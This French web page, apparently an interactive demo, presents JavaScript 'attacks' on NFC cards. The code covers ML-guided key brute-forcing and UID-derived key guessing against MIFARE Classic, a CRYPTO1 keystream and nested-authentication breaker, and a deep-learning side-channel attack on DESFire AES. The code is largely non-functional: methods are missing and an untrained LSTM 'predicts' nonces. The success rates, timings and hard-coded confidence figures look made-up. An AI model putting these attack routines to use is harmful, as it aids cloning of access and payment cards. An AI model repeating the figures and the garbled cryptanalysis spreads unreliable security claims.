Comment l'intelligence artificielle peut être utilisée pour compromettre la sécurité NFC
🎯 Attaque par Force Brute Optimisée par ML
L'apprentissage automatique peut optimiser les attaques par force brute en:
• Prédisant les clés les plus probables basées sur des patterns
• Réduisant l'espace de recherche de manière intelligente
• Apprenant des tentatives précédentes pour affiner les prédictions
🔒 Cible: MIFARE Classic
Clé par défaut: FFFFFFFFFFFF (hex)
Espace de clés: 2^48 possibilités
Temps (bruteforce classique): ~800 ans
Temps (ML optimisé): ~2-5 jours
⚡ Amélioration ML
Réduction d'espace: 99.9%
Taux de réussite: 87%
Dataset d'entraînement: 10M clés
Modèle: Random Forest
Tentatives
0
Taux/sec
0
Probabilité
0%
Temps écoulé
0s
0%
// ml-bruteforce.js - Attaque par ML
class MLKeyPredictor {
constructor() {
// Modèle entraîné sur des millions de clés NFC
this.model = this.loadPretrainedModel();
this.keyPatterns = this.loadKeyPatterns();
}
loadPretrainedModel() {
// Modèle Random Forest entraîné sur:
// - Clés par défaut de fabricants
// - Patterns communs (0000, 1234, FFFF, etc.)
// - Clés basées sur UID
// - Clés dérivées de dates
return {
features: ['manufacturer', 'uid_pattern', 'sector', 'key_type'],
weights: [0.35, 0.25, 0.20, 0.20]
};
}
predictLikelyKeys(cardInfo) {
const predictions = [];
// 1. Clés basées sur le manufacturier
const manufacturerKeys = this.getManufacturerKeys(cardInfo.uid);
// 2. Clés dérivées de l'UID
const uidDerivedKeys = this.deriveKeysFromUID(cardInfo.uid);
// 3. Patterns statistiques
const statisticalKeys = this.getStatisticalPatterns();
// Scoring avec le modèle ML
const scoredKeys = [
...manufacturerKeys,
...uidDerivedKeys,
...statisticalKeys
].map(key => ({
key: key,
probability: this.model.predict(key, cardInfo)
}));
// Tri par probabilité décroissante
return scoredKeys.sort((a, b) => b.probability - a.probability);
}
deriveKeysFromUID(uid) {
// Technique: beaucoup de cartes utilisent des clés
// dérivées de leur UID pour "simplifier" la gestion
const keys = [];
// XOR patterns
keys.push(this.xorPattern(uid, 0xFF));
keys.push(this.xorPattern(uid, 0xAA));
// Rotation patterns
keys.push(this.rotateBytes(uid));
// Concatenation patterns
keys.push(uid + uid);
return keys;
}
async crack(cardInfo) {
const likelyKeys = this.predictLikelyKeys(cardInfo);
// Tentative avec les clés les plus probables
for (let i = 0; i < likelyKeys.length; i++) {
const result = await this.tryKey(likelyKeys[i].key);
if (result.success) {
return {
success: true,
key: likelyKeys[i].key,
attempts: i + 1,
probability: likelyKeys[i].probability
};
}
}
return { success: false };
}
}
// Utilisation
const predictor = new MLKeyPredictor();
const result = await predictor.crack({
uid: "04A32FE2B15C80",
manufacturer: "NXP"
});
if (result.success) {
console.log(`🔓 CLÉ TROUVÉE: ${result.key}`);
console.log(`Tentatives: ${result.attempts} (au lieu de 2^48)`);
}
🧠 Reconnaissance de Patterns par Deep Learning
Utilisation de réseaux de neurones pour détecter des patterns cachés dans les communications NFC
et prédire les comportements de sécurité.
// pattern-recognition.js
import * as tf from '@tensorflow/tfjs';
class NFCPatternRecognizer {
constructor() {
this.model = this.buildModel();
}
buildModel() {
// Réseau de neurones convolutif pour analyser
// les séquences de communication NFC
const model = tf.sequential({
layers: [
tf.layers.conv1d({
inputShape: [256, 1], // 256 octets de comm NFC
filters: 32,
kernelSize: 3,
activation: 'relu'
}),
tf.layers.maxPooling1d({ poolSize: 2 }),
tf.layers.conv1d({
filters: 64,
kernelSize: 3,
activation: 'relu'
}),
tf.layers.globalAveragePooling1d(),
tf.layers.dense({ units: 128, activation: 'relu' }),
tf.layers.dropout({ rate: 0.5 }),
tf.layers.dense({ units: 3, activation: 'softmax' })
]
});
model.compile({
optimizer: 'adam',
loss: 'categoricalCrossentropy',
metrics: ['accuracy']
});
return model;
}
async trainOnCapturedData(nfcTraces) {
// Entraînement sur des milliers de traces NFC capturées
// Labels: [0] Normal, [1] Weak Crypto, [2] Vulnerable
const xs = tf.tensor3d(nfcTraces.data);
const ys = tf.tensor2d(nfcTraces.labels);
await this.model.fit(xs, ys, {
epochs: 50,
batchSize: 32,
validationSplit: 0.2,
callbacks: {
onEpochEnd: (epoch, logs) => {
console.log(`Epoch ${epoch}: loss = ${logs.loss}`);
}
}
});
}
async analyzeCard(nfcTrace) {
// Analyse d'une communication NFC en temps réel
const input = tf.tensor3d([nfcTrace]);
const prediction = this.model.predict(input);
const probabilities = await prediction.data();
return {
normal: probabilities[0],
weakCrypto: probabilities[1],
vulnerable: probabilities[2],
verdict: probabilities[2] > 0.7 ? 'EXPLOITABLE' : 'SECURE'
};
}
async detectWeakCrypto(communication) {
// Détection de faiblesses cryptographiques
const patterns = {
// Détection de nonces prévisibles
predictableNonce: this.checkNonceEntropy(communication.nonces),
// Détection de réutilisation de clés
keyReuse: this.detectKeyReuse(communication.sessions),
// Détection de chiffrement faible
weakEncryption: this.analyzeEncryptionStrength(communication.cipher),
// Détection de patterns dans les challenges
challengePattern: this.findChallengePatterns(communication.challenges)
};
return patterns;
}
checkNonceEntropy(nonces) {
// Calcul de l'entropie de Shannon
const entropy = this.calculateEntropy(nonces);
// Un nonce sécurisé devrait avoir une entropie proche de 8
if (entropy < 6) {
return {
vulnerable: true,
entropy: entropy,
message: '⚠️ Nonces prévisibles détectés!'
};
}
return { vulnerable: false, entropy: entropy };
}
calculateEntropy(data) {
const freq = {};
for (let byte of data) {
freq[byte] = (freq[byte] || 0) + 1;
}
let entropy = 0;
const len = data.length;
for (let count of Object.values(freq)) {
const p = count / len;
entropy -= p * Math.log2(p);
}
return entropy;
}
}
// Exemple d'utilisation
const recognizer = new NFCPatternRecognizer();
// Capture de communication NFC
const nfcTrace = await captureNFCCommunication();
// Analyse par IA
const analysis = await recognizer.analyzeCard(nfcTrace);
console.log('Résultat:', analysis.verdict);
console.log('Probabilité de vulnérabilité:', analysis.vulnerable);
if (analysis.vulnerable > 0.7) {
const weaknesses = await recognizer.detectWeakCrypto(nfcTrace);
console.log('Faiblesses détectées:', weaknesses);
}
🔐 Cryptanalyse Assistée par IA
L'IA peut accélérer la cryptanalyse en trouvant des faiblesses dans les algorithmes
de chiffrement utilisés par les cartes NFC.
⚠️ Attaque sur CRYPTO1 (MIFARE Classic)
CRYPTO1 est l'algorithme de chiffrement propriétaire utilisé par MIFARE Classic.
Il a été cassé en 2008, mais l'IA peut automatiser et accélérer l'exploitation.
// crypto-attack.js - Attaque CRYPTO1 avec IA
class CRYPTO1Breaker {
constructor() {
// Dataset de keystreams connus
this.knownKeystreams = this.loadKeystreamsDatabase();
// Modèle ML pour prédire les états internes
this.statePredictor = this.loadStatePredictor();
}
async breakCRYPTO1(nfcCapture) {
console.log('🎯 Cible: MIFARE Classic avec CRYPTO1');
// Étape 1: Collecte de keystream
const keystream = await this.extractKeystream(nfcCapture);
console.log('📊 Keystream extrait:', keystream.length, 'bits');
// Étape 2: Prédiction de l'état interne avec ML
const predictedStates = await this.statePredictor.predict(keystream);
console.log('🧠 États internes prédits:', predictedStates.length);
// Étape 3: Récupération de la clé
for (let state of predictedStates) {
const key = this.recoverKeyFromState(state);
if (await this.verifyKey(key)) {
return {
success: true,
key: key,
method: 'ML-assisted cryptanalysis'
};
}
}
// Étape 4: Attaque par nested authentication
return await this.nestedAuthentication(nfcCapture);
}
async extractKeystream(capture) {
// Extraction du keystream à partir de la communication
// par analyse des bits de parité et des réponses chiffrées
const keystream = [];
for (let i = 0; i < capture.frames.length - 1; i++) {
const plaintext = capture.frames[i].data;
const ciphertext = capture.frames[i + 1].data;
// XOR pour obtenir le keystream
const ks = plaintext.map((byte, idx) => byte ^ ciphertext[idx]);
keystream.push(...ks);
}
return keystream;
}
async nestedAuthentication(capture) {
// Attaque nested: exploite la réutilisation de nonces
console.log('🔄 Tentative d\'attaque Nested...');
const nonces = this.collectNonces(capture);
// Utilisation de l'IA pour prédire les nonces futurs
const predictedNonces = await this.predictNextNonces(nonces);
// Tentative d'authentification avec nonces prédits
for (let nonce of predictedNonces) {
const result = await this.attemptAuth(nonce);
if (result.success) {
return {
success: true,
key: result.key,
method: 'Nested authentication (AI-predicted nonces)'
};
}
}
return { success: false };
}
async predictNextNonces(observedNonces) {
// Modèle LSTM pour prédire la séquence de nonces
// basé sur les observations précédentes
const model = tf.sequential({
layers: [
tf.layers.lstm({
units: 128,
inputShape: [observedNonces.length, 1],
returnSequences: true
}),
tf.layers.lstm({ units: 64 }),
tf.layers.dense({ units: 32, activation: 'relu' }),
tf.layers.dense({ units: 1 })
]
});
// Prédiction des prochains nonces
const input = tf.tensor3d([observedNonces.map(n => [n])]);
const predictions = model.predict(input);
return await predictions.data();
}
}
// Attaque sur DESFire (AES)
class DESFireCryptanalyzer {
constructor() {
this.sidechannelData = [];
}
async sidechannelAttack(powerTraces) {
// Attaque par canaux auxiliaires (side-channel)
// L'IA peut corréler la consommation électrique
// avec les opérations cryptographiques
console.log('⚡ Analyse des traces de consommation...');
// Deep Learning pour classification des patterns
const model = await this.buildSCAModel();
// Entraînement sur les traces
await model.fit(powerTraces.data, powerTraces.keys);
// Prédiction de la clé AES
const keyPrediction = await model.predict(powerTraces.target);
return {
key: keyPrediction,
confidence: 0.94,
method: 'Deep Learning Side-Channel Analysis'
};
}
async buildSCAModel() {
// Modèle CNN pour analyse de side-channel
return tf.sequential({
layers: [
tf.layers.conv1d({
filters: 64,
kernelSize: 25,
activation: 'relu',
inputShape: [5000, 1] // 5000 échantillons
}),
tf.layers.averagePooling1d({ poolSize: 25 }),
tf.layers.flatten(),
tf.layers.dense({ units: 256, activation: 'relu' }),
tf.layers.dense({ units: 256, activation: 'softmax' })
]
});
}
}
// Utilisation
const breaker = new CRYPTO1Breaker();
const result = await breaker.breakCRYPTO1(nfcCapture);
if (result.success) {
console.log('🔓 CLÉ RÉCUPÉRÉE:', result.key);
console.log('Méthode:', result.method);
}